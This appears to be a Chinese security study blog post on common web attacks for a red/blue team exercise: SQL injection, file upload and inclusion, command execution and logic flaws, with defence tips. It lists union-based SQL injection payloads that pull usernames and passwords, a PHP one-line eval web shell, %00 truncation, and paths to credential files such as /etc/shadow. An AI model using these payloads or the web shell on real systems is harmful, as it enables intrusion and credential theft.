当前位置:网站首页>HW-常见攻击方式和漏洞原理(2)
HW-常见攻击方式和漏洞原理(2)
2022-08-11 00:12:00 【徐记荣】
目录
0x01 SQL注入漏洞
0x02 文件上传与文件包含漏洞
0x03 命令执行漏洞
0x04 逻辑漏洞
0x01 SQL注入漏洞
1️⃣产生原因
代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生
2️⃣最常见的两种挖掘方式
直接对url中的参数进行注入
Burp抓取post包进行注入
注:能用sqlmap就不要用手注
SQL注入产生的地方
3️⃣如何判断是否可以注入?
4️⃣常用paylaod
判断注入点
1'
1' and '1'='1
1' and '1'='2
判断字段数量
1' order by 5 -- -
判断数据前端数据显示位置
1' union select 1,2,3,4-- -
显示用户和数据库信息
1' union select 1,user(),database(),4 -- -
显示指定数据库的所有表名
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3,4 -- -
查看指定表有哪些字段
1' union select 1,(select group_cancat(column_name) from information_schema.columns where table_schema = database() and table_name= 'users'),3,4 -- -
查看对应字段的所有值
1 'union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3,4 -- -
0x02 文件上传与文件包含漏洞
1️⃣文件上传漏洞
产生原因
本地上传限制不严格
修改数据包MIME类型
用来设定某种扩展名文件的打开方式
,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为image/gif,CSS文件MIME类型为text/css。上传时,程序会对文件MIME类型做验证
服务器配置不当
允许HTTP的PUT方法除GET、POST、HEAD以外的方法都是不安全的
如何防御?
①若中间件为Apache,则利用apache服务器的rewrite功能,对TRACE请求进行拦截
②若中间为IIS,使用URLScan工具禁用HTTP TRACE请求,或者只开放满足站点需求的策略的方式,在URLScan.ini这个文件中配置,只允许GET、POST、HEAD这三个常用命令
文件解析漏洞
Apache、Nginx、IIS
文件路径截断
%00截断
①00截断原理
就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容
进行截断
,而后面的内容
有可以帮
助我绕们过检测
②需要注意
● 0x00截断是16进制的截断,需要修改16进制的数据头,使用burp在Hex中对数据进行改写
● 限制条件:PHP<5.3.29,magic_quotes_gpc=OFF
● %00的使用是在路径上,不是在文件名中aaa.php%00bbb.jpg
//由于%00做了截断,所以最后服务器接收到的文件名依然还是aaa.php,因为在接收的时候,就直接对url编码进行解码,然后再去接收文件,这时候的文件名就变成了aaa.php,后面的bbb.jpg已经被截断
如何防御?
①把上传目录固定,且设置为不可执行
②用白名单检查
③用随机数改写文件名,让攻击者无法连接到文件
hw可以把这些功能先封掉,hw完再开(根据实际情况)
2️⃣文件包含漏洞
产生原因
一些网站由于业务需求,提供文件下载功能,但如果对用户
查看或下载的文件不受限制
,则恶意用户就能够查看或下载任意敏感文件
,如脚本代码,服务及系统配置文件等,如果得到代码可以进行代码审计,得到更多可利用漏洞
直接执行代码的函数:
eval()、assert()、system()、exec()、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()等
1、eval()
eval()函数把字符串安装PHP代码来计算。如常见的一句话后门程序:<?php eval($_POST[cmd])?>
2、assert()与eval()类似,字符串被assert()当做PHP代码来执行
php文件包含可以直接执行包含文件的代码,包含的文件格式不受任何限制
PHP中常见的导致文件包含的函数:
include()、include_once、require()、require_once()等
在php中常见的导致文件包含的函数:
(1)require:找不到被包含时会产生致命错误(E_COMPILE_ERROR),并停止脚本
(2)include:找不到被包含的文件时只会产生一个(E_waring),脚本将继续执行
(3)require_once:与require类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含
(4)include_once:与include类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含
常见敏感文件目录
①windows
参数 | 释义 |
---|---|
c:\boot.ini | 查看系统版本 |
c:\windows\system32\inrtsrv\MetaBase.xml | IIS配置文件 |
c:\windows\repair\sam | 存储Windows系统初次安装的密码 |
c:\ProgramFiles\mysql\my.ini | MySQL配置 |
c:\ProgramFiles\mysql\data\mysql\user.MYD | MySQL root密码 |
c:\windows\php.ini | php配置信息 |
②linux
参数 | 释义 |
---|---|
/etc/passwd | 账户信息 |
/etc/shadow | 账户密码文件 |
/usr/local/app/apache2/conf/httpd.conf | Apache2默认配置文件 |
/usr/local/app/apache2/conf/extra/httpd-vhost.conf | 虚拟网站配置 |
/usr/local/app/php5/lib/php.ini | PHP相关配置 |
/etc/httpd/conf/httpd.conf | Apache配置文件 |
/etc/my.conf | mysql配置文件 |
0x03 命令执行漏洞
如何防御?
①尽量少用执行命令的函数或者直接禁用
②使用自定义函数或者函数库来代替外部命令的功能
③将用户的非法输入直接过滤
④及时更新框架补丁
0x04 逻辑漏洞
产生位置
登录注册
● 暴力破解
● 验证码绕过
● 恶意用户批量注册
后台找回
● 重置任意用户账号密码
● 短信验证码劫持
● 管理员用户名密码绕过
特殊系统
● 越权访问
● 个人信息泄露
留言评论
● CSRF
● 存储型xss
● 用户名枚举
边栏推荐
猜你喜欢
Go项目配置管理神器之viper使用详解
How to recover deleted files from the recycle bin, two methods of recovering files from the recycle bin
ArcGIS Pro 创建tpk
input输入框超出部分用省略号表示以及判断内容是否有超出(PC端)
Web-based meal ordering system in epidemic quarantine area
服务器小常识
Deep Learning Transformer Architecture Analysis
SAS数据处理技术(一)
② 关系数据库标准语言SQL 数据定义(创建、修改基本表)、数据更新(增删改)
SQL注入基础
随机推荐
"NIO Cup" 2022 Nioke Summer Multi-School Training Camp 3 DF Problem Solving
web 性能提升(将持续更新……)
【mysql】mysql分别按年/月/日/周分组统计数据
服务器小常识
【pypdf2】安装、读取和保存、访问页面、获取文本、读写元数据、加密解密
关于科研学习中的几个问题:如何看论文?如何评价工作?如何找idea?
“蔚来杯“2022牛客暑期多校训练营4 ADHK题解
【经典排序】快速排序
16. File upload
2022.8.10-----leetcode.640
13. Content Negotiation
[21天学习挑战赛——内核笔记](五)——devmem读写寄存器调试
How engineers treat open source
[21-day learning challenge - kernel notes] (5) - devmem read and write register debugging
9. Rest 风格请求处理
HGAME 2022 Week1 writeup
PMP每日一练 | 考试不迷路-8.10(包含敏捷+多选)
3. 容器功能
有哪些可以投稿软件工程/系统软件/程序设计语言类外文期刊、会议?
详谈二叉搜索树